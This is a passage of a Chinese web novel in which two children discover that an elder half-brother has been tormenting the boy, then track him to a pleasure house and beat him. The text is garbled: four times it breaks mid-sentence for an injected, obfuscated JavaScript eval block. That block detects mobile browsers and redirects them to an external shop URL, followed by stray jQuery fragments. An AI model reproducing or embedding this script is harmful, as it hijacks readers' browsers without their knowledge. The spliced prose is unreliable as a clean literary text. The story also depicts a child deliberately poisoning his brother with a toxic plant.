才在泥土中扎根不久的小树被连根拔起,土地上留下一个不大不小的深坑,看上去丑陋又狰狞,却一直没有被填平。
傅如珩曾经在那个土坑旁边坐了一下午,他没有工具,就用脚把周围的土移到坑中央,却怎么也填不平,反倒在旁边都留下一道道沟沟壑壑。
他忙完一看,见此情景,愣了好久,最后回到屋子当中清洗沾满泥土的鞋子,再也没有尝试过。
傅如珩逐渐接受了这一个坑,默认它留在自己的院子当中。
他正想要关上栅栏门,突然看见一只蝴蝶停留在木头上面。
这处地方相比起宅院的其他角落实在破败,蝴蝶这种更是只愿意徘徊在花团锦簇的别院中,他在这里呆了这么久,还没有见到有一只飞过来。
偏偏是今天。
蝴蝶是白色的,和平常所见的似乎没有什么两样,唯有翅膀边缘泛着一点点红色,格外醒目。
傅如珩对着那一点红色,屏住呼吸,关门的动作不上不下地停顿,生怕惊扰。
蝴蝶似是休憩够了,拍打翅膀离开栅栏。
傅如珩有些遗憾,但是也没有试图挽留,目光追随着,想要看它远去。
红色逐渐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904867|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上升,在不断拍打中成为了残影,在空中盘旋了片刻。
——最后停留在傅如珩的手指上。
傅如珩的指尖微微颤动,又被强硬地压制住了,若说刚才是不敢呼吸,那这一刻他是真的一动都不动,身体的每一处地方都凝滞起来。
窒息感传来,他却丝毫不觉得难受,全部注意都被放在了手指上。
蝴蝶细长的触角动了动,似是在嗅闻上面的香气,过了片刻才慢慢悠悠地飞走。
傅如珩终于敢大喘气,他迟缓地把门关上,看向刚才被停留过的位置。
手指上仿佛还残留着痒痒的触感,被触角摩擦过,细小的电流从手指一直传递到全身各处。
他鬼使神差把手指放在鼻尖,闻到了浅浅的茶花香。
可能是因为先前握着的时间太长,连带着手指上都带上了香味。
傅如珩像是被惊醒了,他快速打开刚刚关上的栅栏,小跑到前院当中。
前院空空荡荡,只有两个固定守门的仆从。
他循着记忆走到之前的位置,蹲下身子从一簇簇的树丛中一一翻过去。
树丛被修剪得很整齐,形状低矮,树枝上生着小刺。
傅如珩的姿势很别扭,牵扯着腰和脖子,带来阵阵酸痛,但他丝毫没有停顿,一寸寸地搜寻着。
终于在一处树丛底下,他找到了被掩盖的粉色,和周围的落叶混合在一起,显得破败又零落。
但傅如珩却像是看到了什么珍宝,他的手臂太短,够不到深处,干脆半个人都到了树丛当中。
倒刺尖锐,戳着外面的布料,好似下一刻就会冲破阻碍直击皮肤。
他很少有这种不顾形象的时候,很多时候都矜着端庄的样子,行事礼仪都是规规矩矩,挑不出一点毛病。
却在短短一日就破了两次戒。
傅如珩够到花柄,顺势把整朵花都从落叶当中抽出来。
万幸,花朵没有损伤多少,花柄还是笔直的,唯有连接花瓣的地方歪斜了些许。
傅如珩小心地扶正了花朵,却没有立刻离开,而是又蹲下来开始捡花瓣。
这个难度比刚才要高上许多,但他却丝毫没有不耐烦,从落叶当中一片片地找出自己想要的东西,仔细地收拢在一起,最后还不放心地检查了好几遍。
袖口从瘦弱的胳膊处滑下来,小臂上有几处被划伤,但傅如珩只是一遍遍地清点着手中的花瓣数量,丝毫不顾泛红的破口。
终于,他左手拿着花,右手攥着花瓣,重新回到了自己的屋子当中。
这个位置采光不是很好,傅如珩靠在床边的窗口处,从桌子底下拿出一罐浆糊,对着光一片片地把掉落的花瓣粘上去。
浆糊一不小心就会黏在手上,等到一切完工,天边最后一抹亮色也消失在地平线外,傅如珩揉搓了一下黏糊糊的手指,用清水清洗完,才将花朵放入抽屉当中。
乍一看,抽屉里面空空荡荡,没有什么东西。
在深处摆着四样物件,成色普通、样式雷同的三块玉佩,还有三四颗弹珠,随着抽屉被拉开,弹珠滚动起来。
傅如珩看着这些东西,眸色变暗,不知想到什么。
他把弹珠和玉佩拿出来,收拢起来放在一边,先在下方垫上一块丝绢,随后将茶花放到丝绢上面。
抽屉重新被合上,刚刚拿出来的东西却没有被放回去。
傅如珩随意扫了一眼,把它们扔在了床头一角,原本保养得当、毫无尘埃的玉佩顿时蒙上了一层灰色。
8. 草药
冬去春来,转眼间,京城中四季轮了几载。
早上的安静被几声敲门声打破,停留在树枝上的小鸟闻声惊起,带起枝丫颤动。
“傅如珩,快出来!”
正值三月初,天气逐渐转暖,盛秋阑脱下了沉重的大氅,换上了轻便的春装,襦裙黄绿相间,上面绣着精美的花纹样式。
她的头发被迎春分在两边,用发带扎成两个小髻,多余的布料垂下来,随着风飘动。
迎春手巧,在装扮方面得心应手,发带也选用了和裙子相配的嫩黄色,衬得女孩皮肤更加白皙。
乍一看完全是一派岁月静好的样子,如果忽略盛秋阑此时的动作的话。
对面的门被拍了三下,她站在原地等了一会儿,干脆两只手放在嘴边开始喊人。
朱红色的大门被打开一边,里面是侯府的看守人。
“盛小姐来找公子吗?”
自从盛秋阑能够自由跑动之后,侍郎府就彻底管不住她了,几乎天天跑到侯府中来喊人,以至于里面的人几乎都已经眼熟她了。
“嗯,能不能帮我叫一下他?”
在其他人面前,盛秋阑脸上的表情稍微收敛了一点。
因为小时候的印象,她对侯府中的人观感一向算不上好。
“要不盛小姐直接到公子屋中去吧,省得在外头着凉。”
侯府自然不是谁都能进的,但是这位盛家小姐不一样,一方面是她父亲侍郎身份,另一方面,她和傅如珩从小一起长大,情谊深厚,尤其是这段关系背后还有侯爷的默许。
这种种原因下来,其他人自然不会阻挡,导致盛秋阑来侯府和自己家一样熟悉。
“不用,我就在这里等吧。”
盛秋阑站在门口,没有上前。
明明刚才还是一副火急火燎的样子,现在却格外遵守规矩,她做事一向如此,之前也都是等到傅如珩出现她才会入府。
盛秋阑在门口的台阶处,用脚来回摩挲着边缘,直到听到身后传来不疾不徐的脚步声。
她眼睛一亮,急忙转身,看见穿着一身青袍的傅如珩。
后者的头发上绑着简单的白带,一丝不苟地梳在脑后,唯有两边留着一些碎发。
“你来得好慢,难不成又赖床了?”
傅如珩见她倒打一耙,毫不留情地拆穿:“是谁赖床了?昨日说好辰时,看看现在已经几点了。”
在床上赖到十点钟的盛秋阑见无法糊弄过去,又找了个由头挑刺:“你出来的怎么这么慢,难不成有什么猫腻?”
傅如珩面色不改:“刚才在温习功课,没有听见声音。”
“自己温习哪有先生有效果,也不知道你爹怎么还不把你送到学堂中。”盛秋阑顺口嘟囔着。
傅如珩现在是八岁,按理说早已经到了一般学堂里入学的年纪,但是却迟迟没有动静,只能自己拿书学习。
见她提到这件事,傅如珩眼中闪过一抹晦暗,转瞬又被掩藏下去:“若是入学了,你去找谁?”
京城中无人不知盛家千金和侯府五公子玩得好,盛怀德是无所谓,他看得出来傅如珩的品行如何,不会过多干预,侯府更是毫不遮掩这一层关系。
“有很多人都愿意和我玩的。”
闻言,傅如珩嗤笑一声,不做评价。
“今日河坊集市好像有表演,你东西整好了吗?”
傅如珩早已经准备好了,说是他的包裹,实则里面全是盛秋阑的东西:“你等我去拿。”
盛秋阑往里面张望:“我和你一起去。”
“不用,你就等在这里。”
盛秋阑感觉到猫腻,她眯起眼睛,狐疑地看着傅如珩:“你已经好几天没让我进你房里了。”
先前她也提过几次,都被对方不动声色地转移了话题。
要知道傅如珩之前可是随便她进的。
傅如珩面上看不出异常:“本来就迟了,再晚些集市可能就要关了。”
“行吧。”盛秋阑像是被他说服了,老老实实地停留在原地。
傅如珩仔细确认她没有动作之后才转身,随即身后窜出一个黄绿炮仗,以迅雷不及掩耳之势踏入了门槛中。
盛秋阑仗着个子小,从旁边的空余中钻进去,熟门熟路地往傅如珩的屋子方向跑去。
规矩是死的,人是活的。
傅如珩一向对这种集市不感兴趣,全靠她好说歹说才答应下来,怎么可能会在意关不关门?
如果说盛秋阑之前还只有一点怀疑的话,那现在基本就是肯定了。
——她的小竹马有事情瞒着她。
傅如珩看这架势就知道自己拦不住,快走几步跟在身后,脑海里面思索着应该怎么解释。
他没想过能瞒住很久,只想着能拖一天是一天,没想到这才没两天,盛秋阑就发觉了不对。
想到对方刚才冲过去的速度,傅如珩磨了磨牙。
平时磨磨蹭蹭,这时候倒是积极起来。
也怪他太过相信盛秋阑了,差点忘记这是在自己的生辰宴上都能够随心所欲的人。
傅如珩慢了一步赶到院前,果然看到盛秋阑叉着腰,明眸睁大,看着小院当中新鲜出现的坑。
她第一次来侯府的时候就看到了这个坑,当即叫府中的花匠拿来一整袋泥土,和傅如珩两个人一起,吭哧吭哧把坑给填平了。
周围的仆从本来想要上来帮忙,却被盛秋阑拒绝了。
她生得伶牙俐齿,呛起人来也丝毫不落气势:“我还以为你们看不见这个坑呢。”
在盛秋阑的不断追问下,她知道这个坑是很早之前就有了,几年里这么大一个空缺不可能没看见,却谁也没有管。
周围的人闻言神色各异,盛秋阑却没有再加关注。
她实际没有出多少力,大多都是傅如珩干的,唯一的任务是在最后踩平新泥上面的不平整。
得知这是侯府世子命令拔出来的,她当即想要找对方算账,但是那时候傅皓轩已经被送去了学堂,唯有假期才能回来。
不能立刻教训人,盛秋阑很不爽,把脚下的泥土当成了对方,一脚一脚踩得格外用力。
“好了,已经很硬了。”
傅如珩怕她把自己脚踩痛,拉着盛秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904868|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阑出了那块地方。
他回头望了望被填平的地方,自从他搬来之后就有的空缺被补齐,上面的泥土颜色略深,上面还残留着鞋底花纹。
只是一个坑而已,其他人都视若无睹,他也要习惯了,但盛秋阑却觉得这是一件很重要的事情,把花园里面所有工作的人都喊了过来。
这样尤嫌不够,整个小院里面光秃秃的没有一点装饰,丝毫没有生气。
盛秋阑不想让侯府中的人打理,原本打算等今天去集市里面看看有没有合适的种子,没想到还没有走,这个坑又出现了。
“这是谁弄的,”她的眼睛里面盛着怒火,“又是傅皓轩那个王八蛋是不是?”
“等着我去找他算账。”
盛秋阑正想要走近一点观察,却被傅如珩拉住了。
后者满脸我就知道,从口袋里面拿出一小罐药膏,涂在她裸露在外面的皮肤上。
“别靠近,我撒了草药。”
他的声音中带着冷意:“应该是在我不在的时候来的,本来明天就可以把事情解决。”
傅如珩之前已经联系好了人,只是没想到还是被发现了。
他指了指旁边新鲜洒下的种子,细看之下,长出来的颜色比普通的杂草要浅一点:“要是他们再靠近,这些草药上面的汁液至少会让他们难受半个月。”
这种症状可以提前预防,治疗起来却困难,沾染上的人会奇痒难忍,过几天就会出现水疱,抓伤了则会留下疤,与此同时还伴随着高热,若是治疗不好可能会留下一生痴傻。
傅如珩在书上看见这段话的时候就开始着手搜寻起来,最后在一家偏远的草药馆中买回来。
药馆中收集了不少东南部落的稀奇草药,功效各不相同,也不乏有诡异奇毒,相比起来,这种效果已经算是小打小闹。
他一边介绍,一边观察盛秋阑的表情,怕在她的脸上看到不忍和害怕。
不论是哪一种,都不是他想看到的。
盛秋阑第一次听有这种草药,愣了愣,一时没有说话。
还是接受不了吗?
傅如珩突然有些后悔把这些东西告诉她,出于某种暗自揣测和隐秘的期待。
这种手段听起来有些恶毒,不像是一个八岁的小孩能够想出来的。
盛秋阑应该一辈子都不用知道这些东西。
他沉默地等在原地,如同面临某种审判。
“还有这种好东西?”
傅如珩抬起头,看见盛秋阑眼睛亮亮的,满眼都是对这种草药的好奇,好像刚才听到的根本不是他想要害自己的兄长。
“早知道上次填坑的时候就应该撒上去,让傅皓轩现在只能躺在床上叫。”
盛秋阑后悔了一会儿,突然冒出一个主意:“他既然能够回来,应该下学了吧。”
傅如珩点了点头。
虽然不知道她想要干什么,但是出于对盛秋阑的了解,当她露出这个表情的时候,代表有些人要遭大罪了。
果然,对方大手一挥,撩起了两边的袖子,语气恶狠狠:“今天不去那个破集市了,我去给你出气。”
9. 酒楼
盛秋阑说到做到,当即拦下一个丫鬟询问:“傅皓轩去哪了?”
见她一副气势汹汹的样子,那人不敢迟疑,回忆道:“世子殿下今早说要和赵公子一起去酒楼。”
说成酒楼还算好听,谁不知道侯府世子早在入学前就是横行霸道、贪图享乐的主,等到年龄稍长,更是种种花天酒地,寻欢作乐,日日沉醉于莺莺燕燕当中。
侍郎府的马车就停在门口,盛秋阑拽着傅如珩上了车,对着前面的侍卫说:“去鎏金楼。”
鎏金楼是京城中最大的酒楼,说是酒楼,实际背后什么生意都接,就连朝中官员有不少也是其中的常客,大家都心照不宣。
听到傅皓轩来酒楼,盛秋阑第一反应就是这个地方。
闻言,侍卫没有立刻驾马,带着犹豫地问:“小姐去那种地方作何?”
盛秋阑虽然平时贪玩,但从不踏足这种烟柳之地,若是让老爷和夫人知道他带去了这种地方,免不了要怪罪下来。
盛秋阑咬着牙:“去打人。”
侍卫一听放下心来。
还好,只是打人而已。
他贴心地询问:“要不再多叫一些人来?”
盛秋阑对比了两边的实力差距,傅皓轩去这种地方应该不会带太多侍从,但是看拳脚和年纪,他们还是有一些差距的。
“行,把能叫的都叫上。”
小姐下令,侍郎府中又出来了几个护卫,跟在马车后面,一队人就这样明目张胆地到了鎏金楼的门口。
鎏金楼位于京城最繁华的地段,在这个租金高昂的地方,它独独占了最中间的位置,共有整整四层,每一层都是灯火通明。
酒楼的墙壁和飞檐上面都刷着金漆,纵使在白天也是非常显眼,花样繁复的大门敞开着,里面传来谈笑和歌舞声。
见有马车停在门口,楼里掌事的小二赶紧出来迎接。
光看马车表面和旁边跟着的侍卫数量就能看出车中的人身份不凡,他不敢怠慢,揣着手等着车中的人下来。
小二不是没有见过达官贵人,只是这些人出于颜面或是别的原因,大多会从隐秘的后门进来,像这样大摇大摆地从正门口进来的才是少见。
况且他从鎏金楼开始营业就在这里工作了,还是第一次见这种样式的马车,像是头一次过来。
出乎意料的,首先下来的是一个约莫八九岁的男孩。
他的气质和周围的氛围格格不入,先皱着眉头看了笙歌鼎沸的酒楼一眼,随后把注意力放在马车当中,向里面伸出手。
一只柔软的手搭在上面,随后跳下来一个女孩。
她的装扮虽然看起来平常,但小二在这边工作这么久,自然能看出面料和剪裁都不是一般人家有的。
女孩看起来有些急切,刚一下来就想要往大门口走,身边的人拉了一下,她才不情不愿地放慢了一点脚步。
本来等在一旁准备迎接贵人的小二有些犹豫,纠结要不要把人放进去。
贵人倒是贵人,只是这年龄……属实也太小了点。
他谨慎发问:“两位客官有什么吩咐吗?”
盛秋阑直接地点出:“傅皓轩在不在里面?”
听到这个名字,小二眉头跳了两下。
虽然不清楚两位是什么来历,但侯府世子也不是他能够得罪得起的。
他想要含混过去:“这个小的也不是很清楚……”
盛秋阑听出了他的不自然,确定了自己的目的地:“带我们去找他。”
她的身后还跟着四个人高马大的侍卫,在他们谈话的功夫,一直警备地站在后面。
小二额头的冷汗都要出来了,见瞒不过去,欲哭无泪道:“小姐,不是小的不说,只是世子身份特殊……”
盛秋阑见硬的不行,把傅如珩拉到身边,直接上手在对方腰间摸索着,找到一块玉佩。
她指着玉佩上面刻着的字:“看到了吧,都是一家人。”
侯府中的人都有一块玉佩,上面刻的是“傅”字,象征着出门在外的身份,需要时刻带在身旁。
傅如珩这块玉佩在他入府第一天就给了他,之后一直没有摘下来过。
玉上面的标记和字做不得假,小二的态度放松了很多。
盛秋阑趁热打铁:“兄长先前让我们来送东西,若是晚了可能要发火。”
世子的脾气众所周知,小二也不敢再怠慢,把人领进去。
盛秋阑见他转身,偷偷做了个呕吐的表情。
要不是为了进去,她才不会叫傅皓轩兄长,给她恶心得够呛。
后面跟着的侍卫抬脚,他有些为难地看了一眼:“我们楼里有足够的护院,两位的安危不用担心,这样可能有些过于显眼了。”
盛秋阑是来闹事来的,有护院才不好办事。
只是这样浩浩荡荡过去确实容易打草惊蛇,她犹豫一下,留下了两个等在门口。
“这样就行了吧。”
小二带着他们进入到酒楼当中,刚一进门就是一股麝香混杂着脂粉味,过道里面站着两排穿着旗袍的年轻女子,样貌穿着各有特色。
放眼望去,歌姬和舞姬轻轻柔柔,隔着一层纱,几乎要将人哄得不知道东南西北。
每张桌子上都堆满了酒杯酒瓶,还有小二在过道中穿梭,手里提着各式的酒液。
作为京城中最大的酒楼,鎏金楼能经久不衰也是有原因的,每一个构造和布置的背后都暗藏着巧思,从不同的角度看过去都是一番光景。
光是大厅里面的场景就足够让人兴奋,更别说藏在更高楼层里面的香艳了。
盛秋阑上辈子只进过清吧,还是为了给小说找灵感,结果没呆上一小时,就因为里面的酒水太难喝提前出去了。
哪怕之前有过心理准备,她还是被这幅纸醉金迷的场景吓了一跳,不自觉往傅如珩的方向躲了躲,顺便又骂了傅皓轩一顿。
果真是满脑子水的败类,要不是因为他,她才不会来这种地方。
傅如珩也是第一次来这种地方,他抿紧了嘴唇,把盛秋阑往自己身上揽了揽,与旁边隔出一点空间。
小二带着他们穿过大厅,来到侧边的楼梯上。
“小姐、公子,请来这边。”
楼梯是用松木做的,细细看上去,每一根栏杆上面都缠着银线,台阶上面铺着厚厚的一层地毯,踩上去几乎没有声音。
“上面就是贵人的包间,世子殿下在咱们的第三层。”
傅皓轩是鎏金楼里面的常客,为此酒楼专门给他留出了一个包厢供他和他的狐朋狗友。
来到第二层的平台时,盛秋阑好奇地往过道中张望了一眼,每一层的布置都不相同,第二层明显要更加华丽一些,过道中灯光明亮,熏香的味道浓郁,香气又甜又腻。
不知道哪个包厢的门没有关上,里面的声音传出来。
盛秋阑第一次没有听清,直到娇喘声越来越大,几乎离得近的人都能听到。
几乎是第一时间,她就意识到了里面的人在干什么。
盛秋阑:“……”
喂喂喂,做这种事能不能关个门啊。
傅如珩身形一僵,耳垂处漫上红色,想都没有想就捂上了女孩的耳朵。
看他一脸不自然的样子,盛秋阑反而放松
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904869|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了很多。
作为一个成年人,驰骋言情小说界多年,她当然写过这种剧情。
不才,被读者们称为“车神”。
反倒是傅如珩,把她的耳朵捂得死死的,但脸上的表情早已经暴露了。
小二讪笑着:“应该是哪个客官忘记关门了,小的等会儿去提醒一下。”
话虽这么说,他心中却另有一番打量。
总有人在这方面有些特殊癖好,甚至于官越大,这类不可言说的爱好就更多。
这扇门究竟是无意还是故意的打开的,谁也说不清楚,万一扰了兴致反而损失一桩生意。
他带着几人快步离开了这个地方,继续往上走。
傅皓轩不喜欢有人打扰,小二把他们带到包厢门口就退出了,留下盛家的两个侍卫守在门口。
盛秋阑示意他们在门口等候指令,自己先按下了门把手。
在门打开的一刻,傅如珩先她一步挡在面前,隔着一个身位望向里面。
包厢被分成了两个部分,他们在外侧的房间里面。
一扇门后面隐隐传出交谈声,盛秋阑紧跟着进来,听出这是傅皓轩在说话。
“你脖子上怎么红了?”
傅皓轩烦躁地说:“别提了,不知道哪个虫子在我床上,被咬了一口,这都第三天了也没有好。
“没找大夫看看?”
“府里面的庸医都说不清楚,没见过这种虫子。我爹每个月真金白银养着,这群废物连个蚊虫都看不好,前两天肿得都起不来床,今天才好些。”
赵乾听出他不想多说,识趣地换了个话题:“你回去见到你那弟弟了吗?”
傅皓轩冷笑一声:“他算哪门子弟弟,不就是一个没娘的种,当初我爹就应该让他在外面自生自灭。”
“不过听说他和侍郎千金关系挺好?”赵乾试探。
听到盛秋阑的名字,傅皓轩脸上的厌恶更甚。
“就那个……”想到侍郎的身份,他还是咽下了口中的话,“每次她来就没什么好事,也不知道我爹怎么还那么欢迎。”
“这次回家还看到那个院子里面的坑被填上了,也不知道他哪里来的胆子,他敢填一次我就敢挖一次。”
赵乾在一旁捧场,傅皓轩越说越得意。
“为了给他点教训,我还把他床上的被褥全都扔到坑里面去了,估计那天晚上就只能躺在木板上吧。”
盛秋阑听得拳头都攥紧了,恨不得现在就冲进去把说话的人打一顿。
“你怎么没跟我说过这件事,那天晚上真的睡在床板上了?”
没有了被褥,床顶多能算个大些的木板,若是躺在上面一晚上,第二天连身都起不来。
傅如珩还有心思整理她凌乱的头发:“储藏室里面有多余的被褥。”
他知道盛秋阑会是这个反应,所以才没有告诉她。
“可是就这样放过也太便宜他了。”
傅如珩动作不变,唯有眼眸有一处深色:“所以我在他床上放了一只吸血虫,药馆的掌柜送给我的,和草药出自同一处。”
盛秋阑很快想到了傅皓轩之前提过让他两天都起不来床的伤口,心中终于舒坦了一点。
但她没打算让这件事情过去,正好这次两份账一起算。
她敲了敲门,里面的交谈声停止。
“应当是之前请的舞姬。”
傅皓轩:“姑娘进来吧。”
盛秋阑冷笑一声,一把推开了门。
没等惊愕的两人反应过来,她随手拿起一旁的酒杯,泼在傅皓轩头上。
“姑什么娘,我是你姑奶奶。”
10. 铃铛
金黄色的酒液缓缓从头顶上流下来,滴到昂贵的锦缎衣袍上,配上傅皓轩狰狞的表情,显得更加狼狈。
“你干什么?!”
傅皓轩气急,一时之间,什么侍郎千金的身份全都抛在脑后,伸出手就想要打她。
他的手刚抬起来,就被傅如珩拦住了。
不知不觉中,傅如珩的身高已经快要逼近他,力气也变大许多,与他这个日日沉浸在声色犬马中,内里早已经被掏空的虚架子完全不同。
傅皓轩想要甩开他,那只手却死死制衡着,根本动不了。
“谁带你们过来的,怎么都没有人拦一下?!”
盛秋阑站在傅如珩身后,颇为惊讶地发现她这个竹马居然还有这个身手。
她见傅皓轩想要喊人,提前开口:“你别想了,这一层楼的人都被我打发走了,没有人会听见。”
在来的时候盛秋阑就观察在周边,能够在这一层楼里的人都不喜欢被打扰,就算有什么事情也是打发各自的仆从去做,包厢的门特意做了加厚,里面的动静不会传到外面。
简而言之,是个打人的好地方。
照理来说,按照傅皓轩和赵乾的身份,他们身边也会有仆从。
可是两人前两天还被学堂里面的先生教训,各自回家之后安分了几日,不敢出现得大张旗鼓,身边的人也被打发到了旁边,包间里面只剩下两个人,就这样给了盛秋阑机会。
她对着外面早已经守候着的人示意,两个侍卫训练有素地把傅皓轩和赵乾压制住,让傅如珩得空,顺便把盛秋阑拉得更远了一点。
后者却没有那么听话,她今天过来可不是就为了泼一瓶酒的。
“院里那个坑就是你挖的?”盛秋阑狠狠踹了一脚,在傅皓轩花里胡哨的衣服上留下一个黑乎乎的鞋印子。
她专门找了人体脆弱的地方,光看傅皓轩扭曲的表情就知道她的下脚有多重。
从盛秋阑的样子上看,她根本没有想要得到答案,紧接着踹了第二脚。
她下脚的时候特地找了同一个地方,本就疼痛的位置再次受到大力,傅皓轩面色苍白,身体止不住地蜷缩,却被身后的侍卫控制住了。
“这样,你丢了几件,我还你几脚。”
盛秋阑开始一一细数,从傅如珩入府开始算起,大到床铺被褥,小到茶余点心,每说一件东西就往傅皓轩身上踩几脚,说到最后她自己都累得气喘吁吁。
傅皓轩身上都有衣服几乎已经看不进原样,傅如珩阻拦住了还要往他身上踩的盛秋阑。
“好了,你快要出汗了,现在天气冷,等会儿出去可能会感风寒。”
傅皓轩还没有来得及松一口气,就听到他这个便宜弟弟说:“可以让侍卫代劳。”
训练有素的侍卫力气可不是盛秋阑这个才几岁的小孩能比的,他两眼一黑,冲着一旁的赵乾使眼色。
没看到他被打成什么样了吗?
赵乾早已经被这个样子吓呆了,畏畏缩缩地躲在一旁,被其中一个侍卫制住,生怕盛秋阑眼睛一转,发现他还在旁边,就转了打人的目标。
他心里面叫苦不迭,没想到就出来偷个闲,竟然也能碰上这种事。
听着盛秋阑一边说话一边打人,赵乾焦急地回忆着刚才的对话,生怕自己也说出了哪句话被记恨上。
他又不是傻,他们的人数不占优势,火没有烧到自己身上就不错了,怎么可能现在帮忙?
傅皓轩气急,赵乾看他身份平时在旁边巴结他,骂人的时候也有他的份,到了这关头反而开始装死,就看着他一个被打。
眼看着面前的人就要换成高大的男人,傅皓轩眼中满是绝望。
这时候,门外面传来娇软柔媚的声音:“公子,奴家来晚了。”
——是先前叫的舞姬。
傅皓轩眼睛一亮:“快进来!”
盛秋阑想要捂住他的嘴,但是已经来不及了。
舞姬推开门,脸上的笑容一僵,转瞬变成了惊恐,就连手上拿着的薄纱也掉在了地上。
房内的场景诡异,两个常来的纨绔公子被反压住,说好的二人包厢却莫名多出了四个人。
两个年纪稍小,但是装扮一看就不俗的小孩子站在被控制的人面前,女孩气喘呼呼,像是刚刚经历了什么激烈的运动。
门还没有来得及关上,傅皓轩找准机会,大声喊他的人:“救命!”
他真的被逼急了,用尽了全身的力气,声音几乎要穿透整个回廊。
旁边的包厢传来被打开的声音,随后冲进来两个衣着普通的侍从,正是经常跟在傅皓轩和赵乾旁边的人。
他们看见自家公子被这样对待,先是一惊,登时上前加入局面。
能够当上世家公子的贴身侍从,他们的身手自然不凡,很快盛秋阑带来的两位侍卫就被牵制住了。
傅皓轩从地上爬起来,当即就想要找盛秋阑算账。
毫无形象地被踹,还被看了笑话,他当然不可能就这样罢休。
场面一度非常混乱,盛秋阑看到优势已经没有了,快速地往后退,傅如珩挡在她的面前。
傅皓轩抓不到人,但是又打不过傅如珩,转头冲在一边还有些懵逼的赵乾喊:“还不快过来帮忙!”
赵乾刚刚得罪了人,这时候还是心有余悸,被吼了之后回过神,连滚带爬地起来,帮忙一起控制住了傅如珩。
纵使傅如珩有过锻炼,但他年岁摆在这里,又只有一个人,面对两个人还是有些吃力。
盛秋阑在一旁急得团团转,想要上前帮忙又怕拖后腿。
走廊上面有动静,应该是舞姬跑走之后去叫护院了。
虽然事出有因,但毕竟是他们先过来动手的,说出来也占不到理。
场面僵持着,两边一时都讨不到好。
总归今天已经把人教训了一顿,盛秋阑见好就收,对着傅如珩使了一个眼色,示意现在就走。
傅皓轩当然不可能愿意放手,傅如珩无法动身,盛秋阑环顾四周,把目光落在中间的一张小桌子上。
那原本是用来两个人饮酒对坐的,现在上面摆着没有喝完的酒杯和下酒的食物。
她跑过去,两手用力抬起了桌子,往傅皓轩的方向掀去。
傅如珩早在看到她动作的时候就知道盛秋阑想要干什么了,他换了一个角度,让傅皓轩和赵乾充当遮挡物。
一番操作下来身上干干净净的,就连一个水滴都没有溅到。
而直面着桌子的两人就没有这么好运了,傅皓轩原本身上的水渍就没有干透,又被酒水和吃食淋了满身。
一个鸭掌落在腰带处,在下身留下一串污渍,糕点外面的酥皮掉在上面,簌簌下落,整个人身上的味道混杂,像是刚刚从哪个垃圾桶里面出来的。
赵乾也同样如此,两个人活到这么大一直被锦衣玉食地伺候着,还没有过这么狼狈的时候。
走廊当中的脚步声越来越近,听起来人数还不少。
来不及了。
盛秋阑干脆直接上手,想要把傅皓轩的手掰开来,还一脸嫌弃地躲过了沾着污渍的衣服。
傅皓轩被她脸上的表情刺激到了,一只手抓着傅如珩不放,另一只手伸向了盛秋阑。
他的袖子上还在不断往下滴在卤味的酱汁,盛秋阑灵活地躲开,没让汁水滴在自己的衣服上。
眼看着时间就要来不及了,干脆一嘴咬上了傅皓轩的手腕。
她这一口使尽了全力,牙齿深深陷进了皮肤里面,几乎可以看见丝丝冒出来的血丝。
“啊!”
傅皓轩吃痛,赶紧放开了傅如珩,被咬的手臂无力地垂落,上面带着极其明显的牙印,脸色苍白。
盛秋阑龇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904870|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着牙转向另一个人,赵乾被吓住了,都不用她动嘴,直接就放开了手。
“快走!”
见傅如珩重新获得了自由,她赶紧跑向包厢门口。
身后的两个人还想要追上来,盛秋阑捡起之前舞姬掉下来的薄纱,往后面一扔。
鎏金楼里面的薄纱都是极大一片,原本是想要让舞蹈显得更加飘逸神秘,现在却刚好挡住了后面两个人的视线。
布料飘向空中,又缓缓飘落。
朦胧的一端是跑开的一对青梅竹马,另一端则是被缠绕住脚步的人。
一时不察,赵乾踢到了旁边翻倒的桌子,小桌子往旁边移动,扯到了边缘落下的帷幔。
帷幔原本被缠绕在包厢顶上,被这股力带得往下掉落。
